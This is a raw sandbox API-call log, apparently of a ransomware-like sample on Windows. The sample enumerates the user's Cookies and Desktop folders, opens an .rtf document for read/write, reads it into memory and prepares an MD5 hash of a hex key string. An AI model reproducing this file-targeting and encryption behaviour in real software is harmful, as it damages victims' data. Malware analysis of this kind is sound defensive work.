RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.803] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.803] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.804] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.804] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.805] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.805] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.806] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0267.806] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.807] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.807] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.807] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\") returned="Cookies\\" [0267.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0267.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0267.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.808] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0267.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0267.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0267.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0267.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0267.808] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0267.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0267.808] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.808] PathFindFileNameW (pszPath="") returned="" [0267.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.808] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Cookies\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eaf1340, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x2eaf1340, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x2eaf1340, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sikvnb huvuib.contact", cAlternateFileName="SIKVNB~1.CON")) returned 0xffffffff [0267.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab840 | out: hHeap=0x640000) returned 1 [0267.808] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3116970 | out: hHeap=0x640000) returned 1 [0267.808] PeekMessageW (in: lpMsg=0x387ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387ff08) returned 0 [0267.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x3116970 [0267.808] PeekMessageW (in: lpMsg=0x387fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x387fb74) returned 0 [0267.808] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.809] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.809] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.810] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.813] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc2e) returned 0x31106e0 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.813] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.813] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.813] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.813] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.813] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.813] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0267.814] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31169c8 | out: hHeap=0x640000) returned 1 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x31169c8 [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0267.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\") returned="Desktop\\" [0267.814] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0267.814] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0267.814] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0267.815] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0267.815] PathFindFileNameW (pszPath="") returned="" [0267.815] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcffab700, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xcffab700, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0267.815] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xcffab700, ftLastAccessTime.dwHighDateTime=0x1d50371, ftLastWriteTime.dwLowDateTime=0xcffab700, ftLastWriteTime.dwHighDateTime=0x1d50371, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0267.815] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xddc44f60, ftCreationTime.dwHighDateTime=0x1d4d30e, ftLastAccessTime.dwLowDateTime=0xffd0de50, ftLastAccessTime.dwHighDateTime=0x1d4c6d1, ftLastWriteTime.dwLowDateTime=0xffd0de50, ftLastWriteTime.dwHighDateTime=0x1d4c6d1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0_DXftOx", cAlternateFileName="")) returned 1 [0267.815] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbefe6f90, ftCreationTime.dwHighDateTime=0x1d4d21c, ftLastAccessTime.dwLowDateTime=0x51875830, ftLastAccessTime.dwHighDateTime=0x1d4d3db, ftLastWriteTime.dwLowDateTime=0x51875830, ftLastWriteTime.dwHighDateTime=0x1d4d3db, nFileSizeHigh=0x0, nFileSizeLow=0x10622, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2l ht.rtf", cAlternateFileName="2LHT~1.RTF")) returned 1 [0267.815] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2l ht.rtf") returned=".rtf" [0267.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\2l ht.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\2l ht.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0267.816] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=67106) returned 1 [0267.816] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0267.818] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x105fc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.818] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0267.822] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x10622, lpOverlapped=0x0) returned 1 [0267.823] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.823] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.823] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0267.823] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5308) returned 1 [0267.824] CryptCreateHash (in: hProv=0x2fa5308, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0267.824] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0267.824] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0267.824] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0267.824] GetLastError () returned 0x0 [0267.824] SetLastError (dwErrCode=0x0) [0267.824] GetLastError () returned 0x0 [0267.824] SetLastError (dwErrCode=0x0) [0267.824] GetLastError () returned 0x0 [0267.824] SetLastError (dwErrCode=0x0) [0267.824] GetLastError () returned 0x0 [0267.824] SetLastError (dwErrCode=0x0) [0267.824] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.825] GetLastError () returned 0x0 [0267.825] SetLastError (dwErrCode=0x0) [0267.826] GetLastError () returned 0x0 [0267.826] SetLastError (dwErrCode=0x0) [0267.826] CryptDestroyHash (hHash=0x3091560) returned 1 [0267.826] 